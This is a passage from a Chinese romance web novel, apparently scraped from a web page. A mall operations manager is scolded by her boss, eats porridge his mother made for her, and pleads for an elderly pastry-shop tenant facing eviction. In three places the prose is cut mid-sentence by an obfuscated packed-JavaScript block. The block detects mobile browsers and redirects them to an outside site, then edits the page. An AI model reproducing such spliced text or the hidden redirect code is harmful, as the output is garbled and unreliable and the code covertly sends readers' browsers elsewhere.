许昭弥被他吓得有些无措,连抬头看他一眼的勇气都没有了,只得低着头,战战兢兢地把报告递了过去。 陆以宁快速翻了几页,随后手指点在其中一处问道:“月初到现在的客流量转化率下降了百分之十,原因是什么?” 报告中没写,许昭弥这才惊觉自己忘记了。她心猛地一抖,声音也弱了许多:“原因……原因可能是最近的一些促销活动没有达到预期效果,所以顾客虽然来了,可购买意愿却不高。” “促销效果不好?这只是你的假设。不同时间段各楼层的客流量转化率你有具体分析过吗?另外,推广部有相关数据来支持你刚刚的结论吗?”陆以宁连珠炮似地追问。 领导的威迫感第一次如此真切地笼罩在许昭弥面前,她紧张得双手都快冒汗了。 因为陆以宁刚刚所问的那些内容她一项都没有准备,她只能老老实实地回答:“我没有对各个时间段内各楼层的客流量转化率进行详细分析,只是依据总体数字做了初步判断……推广部也没有相关……” “那很遗憾,许经理。”陆以宁毫不留情打断她,“你的分析方式极为不专业。要知道,转化率下降就意味着潜在销售机会的损失,而这一点,作为营运经理的你是必须要重点关注的。至于该怎么修改,应该不用我再教你了吧?” 许昭弥突然有点难受,她觉得心里有个什么东西碎掉了,说不清道不明的。 “对不起,我这就回去仔细核对数据,然后补充详细的分析结果给您。” “换个人吧。”陆以宁没好气地点了点桌子上的那份文件,眼神依旧犀利地盯着她,“还有,数据是决策的根本依据,必须做到精准可靠。下次再提交报告之前,请务必确保每一个数字都有详细的背景资料作为支撑,同时还要有明确的对策建议,听明白了吗?” “明白了。” “出去。” 许昭弥一刻也不想再多停留,低头收拾文件时的手指都在抖。 她只想快点离开他的办公室。 - 上午巡场回来,许昭弥就坐在电脑前专心修改报告。本来她是有些沮丧的,可在修改错误的过程中又意外获得了一点启发。她发现自己以往写的所有报告都存在一个通病,那就是永远套用模板,从不会对具体数据进行深度分析、发散思考。而大姚呢?又是个混日子的土著领导,他根本不想进步,也无意升职去管理项目。他就偏爱许昭弥这种规规矩矩、没野心、没主见,让干什么就干什么且不出错的员工,所以才把什么工作都交给她来做。 但许昭弥还年轻,她需要进步。把一份平淡无奇的报表做得一次比一次出色,这就是一种进步。她不明白为什么陆以宁今天突然指出了她的问题,虽然她挨了批评,可同时也得到了启发,她就权当给自己上了一课,好像也不亏。许昭弥就是这么安慰自己的,很快她就打起精神来继续修改报告。 曲琳琳巡场回来,听说她挨骂的事儿,特意过来找她。 “这年头啊,真是不做不错,多做多错。明明是你加班,却还被骂,男神多少有点是非不分了。”曲琳琳拍拍她的背,这么安慰她,“不过没关系,你别放在心上。大姚也说了不怪你,而且我觉得男神肯定是跟安旎吵架了,心情不好才拿咱们撒气。” 说着她就一屁股坐在了许昭弥身旁的转椅上,凑到她耳边悄悄道:“昨天安旎秒删了一条微博,你猜猜是什么?” 没等许昭弥回应,曲琳琳就掏出了手机,她竟然加了安旎的粉丝群,第一时间就把安旎微博截图保存了下来。 曲琳琳嘿嘿地念给她听:“姓陆的男人都是狗,没有一个好东西。” 许昭弥原本还有点忐忑,担心是因为自己昨天说谎所以得罪了他。看到这条微博后突然恍然大悟。 她就说嘛,陆以宁怎么可能把她放在眼里?还至于发这么大火气!果然还是因为安旎。男人真的太可怕了,因为自己情场失意就变得喜怒无常,还到处迁怒别人,不仅可怕还可恶。 对,就是因为安旎。 这么想着,许昭弥也就没那么难过了。她有什么好难过的呢?无非就是被领导批评了一顿而已。她没意识到自己心里碎掉的那片东西到底是什么,也许是一点委屈?也许是一点不甘心?也许是她觉得……凭着自己和他妈妈的那点情分,或者别的什么,在他心里总该有那么一丢丢特别吧? 可他今早骂她的时候依旧毫不留情,和骂其他人根本没什么两样。她明白了,在他眼里,她就只是一个普通员工而已,再就是合作伙伴的关系。明白了这点,她就没有什么好难过的了。 许昭弥天生就是乐天派,那些坏情绪只要自己消化一会儿就好了。她将改好的报告交给了总监。尽管陆以宁说不用她写了,可她依然坚持做完了。大姚看完报告后,嘿嘿一笑,还对她说了声“辛苦了”。 这只狡猾的老东西。 到了下午,许昭弥照常去巡场,看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15228089|165891||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到谁家货柜上的东西少了,就立刻过去提醒店员,“记得和你们店长说一声,通知仓库及时补货呀。”态度也是很好的。 又来到一家韩式烤肉店,恰好人家店长也在呢。许昭弥就和店长聊了聊,对方是个美女阿姨,拉着她手开始抱怨:“小许啊,最近生意实在是难做,营业额一直上不去,你们商场得想想办法啊。” “好的,我了解您这边的情况了。回头我会和推广部商量一下,看看能不能在近期搞个活动,针对您家这样的韩式小吃店做个宣传,吸引一下客流。” 许昭弥话是这么说的,但是呢,推广部往往更倾向于执行大型活动,因为大型活动能够覆盖更广的受众群体。所以她是这样想的,如果推广部真的没办法配合小店的宣传需求,那么她就去和大姚请示一下,自己印点DM单去周边社区发发,反正能宣传一点是一点。 从烤肉店出来,许昭弥继续走着,终于来到了伍叔的伍式糕点店,这是她每天巡场最期待来的一个地方。 “伍叔!”许昭弥高兴地走进店内,看到戴着小礼帽的伍叔正坐在柜台后。和其他店铺不同,伍叔店里没有年轻的收银员或服务员,一切都由他自己亲自打理。店里售卖的都是伍家祖传的传统老式糕点。除了伍叔外,店里还有两位在后厨忙碌的师傅。现做现卖的糕点,香气扑鼻,松软可口。许昭弥一进门,伍叔就递给她一块刚出炉的马蹄糕,“刚出锅的,趁热吃吧,丫头。” “那就谢谢伍叔啦。”许昭弥也不跟他客气,在工作时间光明正大开小灶。她边吃边和伍叔聊天,问他最近店里生意怎么样。看了最近几个月的销售额后,许昭弥不禁皱起眉头,最近三个月的销售额下滑的也太厉害了!自己怎么早点没发现呢?伍叔却依旧乐呵呵的,自己也挺会分析原因,说是因为现在大家更喜欢吃那些个洋面包,不太爱传统的老手艺了。 但这小老头却还在坚持,就是要把老祖宗的手艺给传承下去,“绝对不能丢!” 许昭弥问:“那您没考虑换个地方吗?莲花的租金相对来说还是高。” “丫头,你伍叔我可是你们莲花第一批入驻的商户。虽然现在生意不如以前,但当初也是红火过的。我有不少固定的顾客,都是周边小区的老朋友了。他们习惯了我这儿的味道,怕是我走了他们就吃不到了。所以啊,我不走,不走。”伍叔摆摆手,又给许昭弥装了几块龙鳞千层糕和绿豆糕,这是她最爱的,“带走吧丫头,晚上加班的时候吃,你这一天也够辛苦的!” 许昭弥巡场回来,坐着扶梯往顶楼的商管办公室走,心里还想着伍叔的事,有点为他发愁,在思考怎么才能帮着伍叔的店提高业绩,忽然手机来了条微信,是陆曼青给她发来的消息。 问她粥喝到了吗。 粥?什么粥?许昭弥一时摸不着头脑,本能回复了个【没有】 没走两步又有消息进来,不过这次不是陆曼青的,而是陆以宁。许昭弥隔着屏幕都闻到了他的火药味,还是莫名其妙的火药味:【给我告状?】 【没有啊】许昭弥回他。更加摸不着头脑。 陆以宁又给她发来一条消息,机关枪扫射一样:【你工作错了就是错了,错了就要反省,就要改正,我身为你的领导,对你进行批评教育是我的职责,就算你是我女朋友也不能例外】 许昭弥看着这条信息,更加懵了,而且她关注的重点好像错了,什么叫“就算是我女朋友”? 陆以宁刚刚被陆曼青打电话骂了一顿,也是被气晕了。看着自己一时冲动发出去的信息,他皱起了眉头,立刻又补了一句:【何况是假女友】 【你可以告诉她你喝到了,让她放心。毕竟喝粥不是你的任务,让她放心才是你的任务】 许昭弥看着他接连发来的这几条消息,再联系到陆曼青刚刚给她发的那条,好像有点明白了。 明白过来以后的她突然就觉得有点好笑,难道他以为她会借机报复他吗? 陆以宁这会儿如果变成许昭弥肚子里的蛔虫,一定就会听到许昭弥在心里默默吐槽了这么一句,还是模仿他的语气:【这人可真是有意思】 许昭弥找到陆曼青的微信,立刻给她回复:【对不起阿姨,刚才我没认真看您消息。粥我喝到了,很美味,谢谢您。】 发完消息后,她还截了张图给陆以宁传过去,传完就把手机锁屏了。 去他妈的。许昭弥心里还是忍不住骂了一句。 真是钱难挣屎难吃额。 7. 便利贴与荒原狼07 骆弋舟难得来店里视察,打扮得却像去度假似的。穿着大花衬衫和皮夹克,戴着普拉达墨镜,双手悠闲插在兜里,大摇大摆地走,逛商场跟逛菜市场一样,要不是秋天,保不齐他得给您塔拉双人字拖。 就在五楼拐角的员工电梯处,他巡店完事儿,正准备去楼上找他哥们陆以宁坐会儿,转眼就看到迎面走来的许昭弥。 嘿,这不是昨天在他酒吧唱歌那姑娘吗?骆弋舟乐了。他还没开口,许昭弥就主动朝他点了下头,礼貌问他您要去几楼? 电梯到了,这姑娘甚至还伸手挡住电梯门,请他先进,随后帮他按按钮,态度是真的好。 骆弋舟走进去,说了个七楼,两人去的正好是同一楼层——只有商管办公室和部分库房在七楼。许昭弥按了按钮,又偷偷看他一眼,这一眼正好被骆弋舟逮到。骆弋舟一瞬间福至心灵,突然就想起了,他知道那天为什么觉得这姑娘眼熟了!不是在餐厅见过,而是在某人书里见过!某人书里夹着的那张照片可不就是这姑娘么! 那照片估摸是这姑娘五六年前的样子,好像也就刚上大学,穿着运动服,还戴着顶小红帽,对着镜头腼腆一笑,别提多羞涩。和现在是截然不同的感觉,骆弋舟也真是佩服自己眼力,这都能让他认出来! 嘿,老陆这孙子真他妈行诶! 骆弋舟像是发现什么新大陆,屁颠屁颠进了陆以宁的办公室。 “你怎么来了?”陆以宁见秘书领他进来,皱眉看他这身打扮,街溜子一样,上来就坐他办公桌一角,翘起二郎腿。陆以宁一脸嫌弃地拿起遥控器,将窗户的百叶帘放了下来。 骆弋舟也不说话,就盯着他笑,那叫一个意味深长。 陆以宁今天心情特别糟糕,算是被他赶上了,“有话就说,没话就滚,别耽误我工作。” “本来没事儿,就想找你闲聊会儿,谁知道刚进来就突然有事了。”骆弋舟瞅见旁边有个保温盒,办公桌上还会有保温盒?哪个姑娘这么贤惠?他手不自觉地伸过去,结果被陆以宁一声厉喝给制止了,“别碰!”吓得他赶紧把手缩回来,“至于这么凶,难不成里面有炸''弹?” 陆以宁把保温盒提到身后藏起来,“到底什么事而?” “我发现了一个秘密,想不想听?” “不想。” 骆弋舟却偏要说:“我知道那天我为什么看着台上唱歌那姑娘眼熟了,你想不想知道?” 陆以宁低头翻报表,没搭腔。 “不是在餐厅见过哦,是在……” 陆以宁突然拿起座机听筒按了内线,很快秘书的声音传了进来:“陆总?” “什么人都放进来?有预约吗?问过我吗?工作这么敷衍,不想干就收拾东西走人。”劈头盖脸地给人姑娘一顿骂。 陆以宁自己都没意识到自己的反应会这么激动,骆弋舟看在眼里,更加确定心里的猜测。 “我知道你为什么从总部调回来了,绝对不只是因为你妈妈。” “不知道你在说什么。”挂了电话,秘书已经出现在门口。陆以宁拿着钢笔点了点骆弋舟,“还不把人弄走?” “别别别,我自己来。”骆弋舟忙举手作投降状。他最怜香惜玉了,小秘书都快委屈哭了,他哪舍得人姑娘为难?麻利站起来,临走时还不忘回头看他一眼,那脸色一阵红一阵白的,别提多精彩,逗得他直乐。 怎么说呢?拿捏人的感觉实在太爽了,尤其那个人还叫陆以宁。 - 陆以宁觉得自己没办法再工作下去了。划开火柴点了根烟,夹在指尖猛吸一口,纾解心头那口闷气。不知过了多久,手指却不自觉地点到遥控器上,窗帘唰地一下拉开,陆以宁目光正好落在许昭弥工位上,连自己也吓了一跳。他猛地咳嗽一声,眉头又皱起。 现在是七点多钟,晚班时间了。今天许昭弥替同事值晚班,同事家里有事提前走了。许昭弥泡了杯咖啡,就着伍叔给的小糕点吃了几口,当作晚饭。手掌小心翼翼拖在下巴处,正好接着嘴角掉下来的渣渣,她呢?倒是也没浪费,一仰脖子,津津有味倒进嘴里,连那点渣渣全吃了。 其实许昭弥吃得挺开心的,但是看在陆以宁眼里,简直可怜的要死。这就是晚饭了?她怎么这么穷呢?平时挣得工资哪去了?也没见她买过什么奢侈品,再不济还有平时付给她的外快,难道他还给少了? 陆以宁打眼一扫,外面空空荡荡,值晚班的人一个都不在岗位上,只有许昭弥对着电脑敲敲打打。心里又费解了,她一大早不就来了吗?怎么现在又值上了晚班?前天不是刚值过?营运部的值班表到底怎么排的? 许昭弥并不知道陆以宁这会儿正在背后蛐蛐她,她开开心心吃完糕点,喝掉咖啡,继续在电脑上敲敲打打。不过她不是在工作,而是在网页微信上和贝诗楠聊天呢:【贝贝,我刚刚好像看到你们沪尚居的老板了】 “沪尚居”是潞城最贵的融合创意菜餐厅,就开在莲花购物中心的五楼,是贝诗楠负责的商户。他家主打的是无国界料理,其中日料最为出名,人均高达三千九软妹币!就连普通菜单也贵的要死。因此贝诗楠常和许昭弥吐槽:“到底是什么样的有钱人才会来吃金子啊!”偏偏沪尚居的生意还很不错,人家从不缺顾客,贝诗楠凭着这家店的高营业额贡献实际上也获得了不少业绩加分。 这会儿贝诗楠刚到健身房,换好衣服,准备去踩单车,看到许昭弥的消息后,一连发过去十几个感叹号:【卧槽我都没见过几次!】竟然就这么错过了! 她们口中那个没见过几次面的大老板就是骆弋舟。其实许昭弥也没见过他几次,只是在去年的商户共赢发展座谈会上见过一面,当时所有店长和老板都来参会了,地点就在莲花旁边的希尔顿酒店。许昭弥作为会场服务人员,远远看了他一眼。骆弋舟是单眼皮,肤色偏黑,人又高大健壮。不笑的时候看着凶,微微那么一勾唇又显风流,给许昭弥一种“丑帅丑帅”的感觉。总之那一眼就相当印象深刻了。 【我本来想帮你要个私人联络方式来着!但是没敢……】许昭弥打字的手顿了一下。她为什么没敢呢?自己也说不清。 【没事没事,哪天我自己去拜访!】 贝诗楠发完就去踩单车了。许昭弥打了个呵欠,叉掉对话框,难得这会没有乱七八遭的电话进来,其他晚班同事也都出去吃饭了,她准备在桌子上眯一小会儿,毕竟从早到晚她算是连上了两个班,尤其昨天她还熬了大夜,这么一想自己真是精力充沛啊!昏昏欲睡的时候脑子里突然冒出大姚的一句话:“还是你们小年轻体格好哇……” 偏偏有些人的电话就是来的这么不合时宜、令人讨厌。许昭弥拧眉按了接听,轻轻喂了一声,对方一出口她就吓清醒了。 【来我办公室】陆以宁挂断电话,将手从保温壶上挪开,指尖仍残留着壶壁温热的触感。这他妈什么保温盒?都放一天了还这么保温?陆以宁心里嘀咕,却没意识到自己的窃喜,将保温盒往长桌对面一推,满脸嫌弃的模样。 很快许昭弥敲门进来,一脸茫然地杵在门口。她好像总是不太敢主动迈进他的办公室,尽管他办公室的格局已经在她脑海中被描绘了无数遍。陆以宁指了指对面的那个保温饭盒,开口命令她:“坐那儿喝掉。” 许昭弥没有动,她甚至还没醒,觉得自己做梦了。 “想什么呢?”陆以宁敲了敲桌子,一脸大义凛然的模样,“这是我妈煮的粥,过来喝掉。”他解释原因,“你觉得她是傻子吗?第一次你说没喝到,她就知道我没给你喝,后面你说什么她都不会信,除非你真的喝了这粥。下次见面她肯定会问你这粥是什么什么味道,食材如何,你怎么回答?” 许昭弥从梦里彻底醒了过来,一下子就明白了,之前“喝粥不是她的工作”,现在“喝粥”是她的工作,总之她的工作是会以雇主的需求随时发生变化的,她简直太聪明了。 “好的陆总。不过,在这里喝吗?不然我拿回去吧?一会儿大家就该回来了……” 陆以宁拿起遥控器,“啪”的一声就把窗帘放了下来,“喝吧。”他背过身,随手扯过一张报表翻了翻。想到许昭弥刚刚说的那句话,突然来了一句:“明天给我个值班表,我看看都是谁胃口这么好,一个晚饭吃三小时,喜欢吃就永远别回来了。” 许昭弥吓得直哆嗦,这种出卖同事的事她怎么可能会干!连忙抱起保温壶,走到一旁的会客沙发坐好,默默喝起了粥。 拧开盖子,瞬间香气扑鼻。许昭弥本来就饿,刚刚的晚饭只是垫了垫胃口,这会儿闻到味道实在受不了,肚子没出息地咕咕叫了两声。尴尬的她想找个地缝钻进去。余光偷瞄那人,还好还好,人家正在专心看报表呢,根本没空理自己。 许昭弥拿出勺子,轻轻搅拌,龙虾肉与干贝等食材色彩斑斓,在汤汁中翻腾,她心中不禁赞叹:“这食材也太丰富了吧!” 许昭弥突然有点感动。勺子送入口中,细心品尝一口,一种灵魂被触动的感觉涌上心头。米粥细腻的口感,搭配鲜美的海鲜,还有蛋黄的咸香,没想到陆阿姨煮的海鲜粥这么棒!她真心实意从心底发出夸赞。不一会儿,就喝掉了小半壶。陆以宁从反光的柜子看到她低着头吃粥的样子,左手挽着胸前长发,弯着一点点腰,一勺一勺地送入口中,她吃的很香。仿佛这一口一口,把他今天一整天的火气都给消化了。 真奇怪。 陆以宁心情突然就好了一点。在许昭弥吃到一半的时候,他的手机响了,是安旎打来的电话。他竟然也没觉得那么烦了,反而心情不错地按了接听。 “喂。” 安旎下了夜戏,冻得跟冰墩子一样,在黑龙江省的威虎山影视基地里裹着大棉袄哆哆嗦嗦。本来没指望这电话能通,说话时眼泪混着冰渣子,“大忙人终于肯接我电话了,我还以为你不管我了呢。” “哭什么?”陆以宁听出她沮丧,语气难得温和了点,“有事说事。” “剧组导演和女一号联合欺负我!你能不能管?”安旎一来劲儿声音就特别大,大到许昭弥都听到了,嘴里的粥差点喷出来,耳朵瞬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15228090|165891||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间支棱起来。明星的一手八卦被她赶上了,这运气简直太牛了! 陆以宁琢磨了一会儿,说:“把导演名字发我。” “这还差不多。”安旎又说,“我下个戏要去潞城拍,不想住剧组酒店,你帮我找个房子。” 陆以宁问:“什么时候?” “下个月咯!你会来机场接我吗?” 陆以宁没回复。他转过身,把报表扔在桌上,余光下意识扫向沙发。许昭弥正在低头喝粥,坐姿乖巧,一动不动,一副对老板私生活充耳不闻的模样。 就是这掩耳盗铃的举动实在太明显,她那耳朵还能再红一点吗?八成在心里不知道怎么编排他呢。 还真让他给猜对了,许昭弥这会儿心想:我要是把这个消息卖给狗仔,肯定能得不少钱,啧啧。 “看情况吧。”陆以宁没再和安旎聊这个话题,又听她唠叨了一会儿剧组里乱七八糟的事情。这就是他不想接她电话的原因,太浪费时间。等挂了电话,再一抬头,沙发上的人不见了。 许昭弥已经把保温盒洗好,放回了桌上。她什么时候出去的他都不知道。陆以宁走过去,把保温盒提起来,发现下面竟然还压着一张小纸片。 上面画了一幅画——一碗海鲜粥,粥里画着各种小食材,小龙虾、小螃蟹、小海参,惟妙惟肖。每个食材都有拟人化的小表情,旁边还有一行小字:谢谢阿姨的款待,真的非常美味~下次换我请您。字还挺好看。 手指夹着纸片,陆以宁侧身看向玻璃外。营运部的员工陆续回来,有的在打电话,有的在敲电脑。许昭弥用一本书挡着自己的脸,偷偷在工位上打盹。果然人吃饱就容易犯困,这会儿她歪头晃脑的,困得像狗一样。 陆以宁晚上回到家,陆曼青还没睡。刚九点,她吃了药,在沙发上看肥皂剧节目。陆以宁脱了外衣递给何晓娥,随手又从衬衫里掏出一张卡片丢到沙发上,“您亲闺女给您的。” 陆曼青常常在家念叨许昭弥,说她是自己亲闺女,她觉得“亲闺女”比“儿媳妇”叫得更亲。陆以宁每次在她面前提起许昭弥,都会醋醋地说是“您的亲闺女”。 一张小卡片而已,却把陆曼青逗得眉开眼笑,笑得皱纹都冒出来。 “这孩子也太讨人喜欢了,瞧瞧,多可爱。” 何晓娥也点头说好。 陆以宁哼了一声,拆着领带说道:“这下相信我没不给她喝了吧?” “那也是你不好,你不早点给弥弥。”陆曼青心想,我还不了解你?你可是我亲生的!肯定是你没把这事儿放在心上,忘了给弥弥喝,被我骂了一顿才想起来。 也有几天没见到弥弥了,陆曼青心里挺想她的,于是对陆以宁说:“明天晚上带弥弥回家吃饭吧,我给她包饺子。” “改天吧。”陆以宁都没意识到自己拒绝得这么干脆。他想着许昭弥明天倒休,应该在家睡大觉。通宵一宿又连着上了白晚班,狗都能累死,再不好好歇歇说不定会猝死。真猝死了老板还得负责任,他不是关心许昭弥,只是不想负责任。他是这么给自己解释的。 陆以宁今晚心情还算不错,从楼下拿了瓶气泡酒,准备上楼泡澡的时候喝。陆曼青拿着手机过来又数落了他两句:“弥弥在你手下工作,你要照顾好她,不要给她安排那么多工作,知道吗?” 屏幕上显示的是许昭弥的抖音页面,陆以宁开着酒瓶子,大概扫了一眼,基本全是和工作相关的内容。有店庆宣传,也有为一些商家的推广,用的还是她自己的私人账号,真够兢兢业业的。 最新一条是刚刚发布的,她拍了一张关门后的商场大门的照片,配了一行小字和两个表情:“终于狗带了[哭泣][哭泣]” 营运部一般是两班倒,白班从八点到下午五点,晚班从下午五点到晚上十点。陆以宁看了看表,这会儿正是十点一刻,她晚班也下班了。 能到发抖音的地步,看来是真的累够呛。 不过他该吐槽还是得吐槽:“累不代表做的多,无头苍蝇一样瞎忙都累,说到底也是一种没能力的体现。”说着拎着酒瓶和酒杯上了楼,把陆曼青气够呛。 陆曼青心想,要不是他长得好一点,遗传了她的美貌基因,不然就这臭脾气,是怎么把弥弥追到的呢? 陆以宁回到卧室,何阿姨已经帮他放好了洗澡水,他说了声谢后关上房门,脱掉衬衫扔在床尾,光着膀子喝了口酒,神情有那么一丝惬意。正准备去卫生间泡澡时,他突然又想起点什么,于是拿出手机下载了个抖音,回想着许昭弥的抖音昵称,好像叫什么许小兔?什么破名字?输进去后点击搜索,还挺巧,第一个出现的就是她。 他倒要看看她整天究竟在忙些什么。结果刚一点进去,就看到许昭弥更新了一条状态。陆以宁迅速点开查看,竟然是一个男人在酒吧唱歌的视频。他仔细一瞧,这男人不就是那天在黑匣子搂着她一起唱《广岛之恋》的那个?许昭弥还配文道:“我家大宝实在太帅了!” “……” 陆以宁的胃口又他妈疼了起来。 8.便利贴与荒原狼08 许昭弥并没有像陆以宁想象的那样在家睡了一整天。实际上她从小学就养成了早起的好习惯,从不赖床。清晨六点四十,闹钟一响,许昭弥就准时起床,先到小区附近的公园里跑了个三公里,接着溜达到早点摊吃上一碗热乎乎的豆腐脑,再配根油条。吃完早点还不到九点,又坐公交到中环的花鸟鱼虫市场里转了一圈,看看鱼呀瞧瞧鸟,临走时还抱走两盆多肉。 中午她给自己煮了碗面条,饱餐过后惬意地午睡了两小时。下午呢,就做做家务看看书,晚上临睡前还给爸妈打视频聊了会天。一天就这么度过了,即便一个人生活也过的快乐而充实。 许昭弥一整天都没看群聊,所以她不知道在自己倒休的这天,莲花出了件大事。陆以宁召开全体部门负责人大会,宣布在所有商户合同到期后进行全面调改,其中,连续三个季度租售比低于业态标准范围的商户一律上调租金。 然后就是对于那些租售比无法达到预期、品牌影响力不足、又看不到未来发展潜力,且在一年时间里都没有显著改善的商户,将会被采取清退政策。 许昭弥一大早拎着大家的咖啡走进办公室,却见同事们个个愁眉苦脸。过了一会儿她才弄清楚到底发生了什么事。怎么说呢?这次改革涉及到涨租和清退,这些都是关乎商户切身利益的大事。肯定会有不少商户闹事。每个人都感受到了巨大的压力,许昭弥得知情况后也不例外。 贝诗楠坐在自己的工位上朝她使眼色。她指了指陆以宁的办公室,里面黑压压的全是人。 “看见没?一大早就被商户代表堵里面了。保安都没叫,硬是自己扛到现在,真的牛。” 许昭弥看了过去,就见陆以宁神情严肃,端坐在办公桌后。面对对面那些吹胡子瞪眼、拍桌子的商户代表,依旧表现得从容不迫。 “其实有好多铺位位置特别好,人流量也不错,但有些商户虽然占着好位置效益却一直不怎么样,这就是一种浪费,按理说呢,如果换成其他商户,坪效肯定会更高。这次改革我倒觉得没什么不好,清理掉一些低效商户,重新进行布局调整,给更合适的品牌腾出空间。” “咱商场之前那些项目总也都想过改革,可谁都不敢真下手,都怕给自己惹麻烦,就这么一直拖着,拖到现在,导致咱们潞城这个项目的业绩一年比一年差,在总部年终考核里次次排名垫底。现在可算有人敢动手了,不得不说,男神真有魄力,我觉得他超棒。” 贝诗楠竖了竖大拇指。反正她觉得无所谓,涨租就涨租,撤铺就撤铺,她只要听招呼干活就行了。 许昭弥却一直没说话。她忽然想到很多个加班到傍晚的日子,她在检查水电、安全消防的时候,陆以宁在办公桌前研究报表和政策。在她离开时,陆以宁办公室的灯永远亮着,自从调来潞城这个项目后他就好像一天都没休息过。 不然他怎么能成为领导呢?厉害的人不仅有魄力,还这么努力,许昭弥心中暗暗生出几分佩服来。 所有人提心吊胆地过了一上午,等到下午,调改名单正式公布了。大家都查看自己负责的商户,伍氏糕点果然在名单上。许昭弥看到伍叔的名字,虽然心里早有预期,可实际看到时还是有些难受。 伍叔的情况其实挺让人揪心的。他中年丧子,后来又没了老伴儿,这么多年一直独自生活,守着这个店就好像守着自己的孩子和老伴儿似的。许昭弥忍不住想,如果伍叔要是没了这家店,他的精神寄托可怎么办呢? 她有点想去找大姚求求情,于是在工位上进行思想斗争。贝诗楠看透她心思,特地来劝她, “没用的,大姚知道伍叔情况特殊,但这次清退名单是陆总亲自定的,连坤总那些关系户都没跑掉,大姚还能拦住吗?” 许昭弥和伍叔关系好,贝诗楠理解,忍不住摸摸她头,“你要是不忍心的话,那就我去帮你和伍叔说。伍叔明事理,会体谅咱们的。” 其实贝诗楠说的对,找大姚有什么用呢?他又不是做决策的领导。她不清楚陆以宁是否了解伍叔的情况,但她清楚他是一个公私分明且说一不二的人,就算知道大概率也是公事公办,不会更改既定政策。 整个下午许昭弥心情都不好。办公室里大家都在噼里啪啦地打着电话通知商户。许昭弥鼓起勇气想去伍叔的店,可都快走到门口了又折了回去。 她经过一番思想斗争,虽然知道自己没这个资格,但还是鼓起勇气决定给陆以宁发信息,试试总归是好的吧? 她这么想着,在心里琢磨合适的措辞,没想到陆以宁的信息就先她一步发了过来。 【今天陆老师包饺子,要去看她吗?】 许昭弥愣了一下,感到有点意外。在这个兵荒马乱的时候,他竟然还有心情吃饺子?不过因为正好想找他,于是立刻回了个“好”。 许昭弥心里有了一点隐秘的小心思,所以在上车的时候格外小心翼翼,比如上车后还没系安全带,就先偷偷观察他的脸色,他这会儿心情怎么样?现在是不是她开口的好时机?许昭弥怀里还抱着一只鼓鼓囊囊的牛皮袋,里面是从伍叔店里带来的点心,陆以宁看到了,却没说话,牛皮袋的封口没系严实,许昭弥故意敞开了一丢丢,车里飘着那么一丝糕点诱人的奶香。 一路无话。许昭弥偏头望向窗外,看似比平时还要安静,可心里却天人大战很久了。终于在一个等红灯的路口,许昭弥忍不住从袋子里拿出一块点心来。 “哇,这个很好吃欸,你要尝尝吗?” 陆以宁双手搭在方向盘上,目光盯着前方的信号灯,对她的话置若罔闻。绿灯一亮,就松开了刹车。 “真的挺好吃的……”许昭弥败下阵来,懊恼地扭回头去,继续盯着窗外快速流动的街景。有点觉得自己刚刚的行为傻透了。 可不么?陆以宁也是这么想的。许昭弥刚刚的行为确实傻透了,从一上车就满脸都写着“我有事求你”,可是一路上磨磨唧唧,一句有用的话都没敢说。这么怂还想走后门?他觉得许昭弥一辈子也就这样了。于是在拐进小院儿后熄了火,“想说就说。” 许昭弥立刻扭过头来,挺直身子,端端正正地开口:“陆总,我想为伍叔争取一个延期退场的机会,就三个月,可以吗?”她解释说,“伍叔不仅是咱们的老牌租户,而且他还拥有稳定客群,对b2的整体业态也起到了很好的补充作用。您看能不能再给个机会呢?” 陆以宁看了她一眼,“身为商场运营者,你应该从商场的整体利益层面去考虑问题,而不该出于个人感情。对此你同意吗?” 许昭弥点了点头。 “实现资源的优化配置,释放空间给更具潜力的新租户,从而提升购物中心整体的吸引力和竞争力。通过淘汰机制,促进商场内部竞争,激励商户不断提升服务质量和客户体验,有助于商场的长期健康发展,对此你有异议吗?” 许昭弥点了点头,又立刻摇了摇头。 “那好。”陆以宁继续说,“伍式 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15232715|165891||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 糕点的租售比连续四个季度突破预警线,销售坪效在B2层垫底,贡献率跌破0.8%——这类店铺按制度首季就该启动清退流程,却连续四次通过特殊审核获得延期。你觉得这是为什么?C-12铺位紧邻扶梯黄金三角区,但过去半年,这个本该日均引流3000+的铺位,给商场带来的是持续负向收益。在这种情况下,你还认为伍叔的糕点店目前的状况符合商场的发展需求吗?” 